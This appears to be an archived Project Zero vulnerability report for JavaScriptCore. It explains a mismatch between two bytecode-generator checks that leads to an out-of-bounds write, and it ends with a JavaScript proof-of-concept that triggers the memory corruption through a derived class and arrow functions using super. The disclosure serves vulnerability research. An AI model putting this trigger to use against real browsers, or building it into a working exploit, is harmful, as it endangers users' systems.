96 lines
No EOL
3.5 KiB
JavaScript
96 lines
No EOL
3.5 KiB
JavaScript
/*
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Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1173
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When a super expression is used in an arrow function, the following code, which generates bytecode, is called.
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if (needsToUpdateArrowFunctionContext() && !codeBlock->isArrowFunction()) {
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bool canReuseLexicalEnvironment = isSimpleParameterList;
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initializeArrowFunctionContextScopeIfNeeded(functionSymbolTable, canReuseLexicalEnvironment);
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emitPutThisToArrowFunctionContextScope();
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emitPutNewTargetToArrowFunctionContextScope();
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emitPutDerivedConstructorToArrowFunctionContextScope();
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}
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Here's |emitPutDerivedConstructorToArrowFunctionContextScope|.
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void BytecodeGenerator::emitPutDerivedConstructorToArrowFunctionContextScope()
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{
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if ((isConstructor() && constructorKind() == ConstructorKind::Extends) || m_codeBlock->isClassContext()) {
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if (isSuperUsedInInnerArrowFunction()) {
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ASSERT(m_arrowFunctionContextLexicalEnvironmentRegister);
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Variable protoScope = variable(propertyNames().builtinNames().derivedConstructorPrivateName());
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emitPutToScope(m_arrowFunctionContextLexicalEnvironmentRegister, protoScope, &m_calleeRegister, DoNotThrowIfNotFound, InitializationMode::Initialization);
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}
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}
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}
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|emitPutToScope| is directly called without resolving the scope. This means the scope |m_arrowFunctionContextLexicalEnvironmentRegister| must have a place for |derivedConstructorPrivateName|. And that place is secured in the following method.
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void BytecodeGenerator::initializeArrowFunctionContextScopeIfNeeded(SymbolTable* functionSymbolTable, bool canReuseLexicalEnvironment)
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{
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ASSERT(!m_arrowFunctionContextLexicalEnvironmentRegister);
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if (canReuseLexicalEnvironment && m_lexicalEnvironmentRegister) {
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...
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if (isConstructor() && constructorKind() == ConstructorKind::Extends && isSuperUsedInInnerArrowFunction()) {
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offset = functionSymbolTable->takeNextScopeOffset(NoLockingNecessary);
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functionSymbolTable->set(NoLockingNecessary, propertyNames().builtinNames().derivedConstructorPrivateName().impl(), SymbolTableEntry(VarOffset(offset)));
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}
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...
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}
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...
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}
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But the problem is that the checks in |emitPutDerivedConstructorToArrowFunctionContextScope| and |initializeArrowFunctionContextScopeIfNeeded| are slightly diffrent.
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BytecodeGenerator::initializeArrowFunctionContextScopeIfNeeded:
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if (isConstructor() && constructorKind() == ConstructorKind::Extends && isSuperUsedInInnerArrowFunction())
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BytecodeGenerator::emitPutDerivedConstructorToArrowFunctionContextScope:
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if ((isConstructor() && constructorKind() == ConstructorKind::Extends) || m_codeBlock->isClassContext()) {
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if (isSuperUsedInInnerArrowFunction()) {
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Note: " || m_codeBlock->isClassContext()".
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So, in a certain case, it fails to secure the place for |derivedConstructorPrivateName|, but |emitPutToScope| is called, which results in an OOB write.
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PoC:
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*/
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let args = new Array(0x10000);
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args.fill();
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args = args.map((_, i) => 'a' + i).join(', ');
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let gun = eval(`(function () {
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class A {
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}
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class B extends A {
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constructor(${args}) {
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() => {
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${args};
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super();
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};
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class C {
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constructor() {
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}
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trigger() {
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(() => {
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super.x;
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})();
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}
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}
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return new C();
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}
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}
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return new B();
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})()`);
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for (let i = 0; i < 0x10000; i++)
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gun.trigger(); |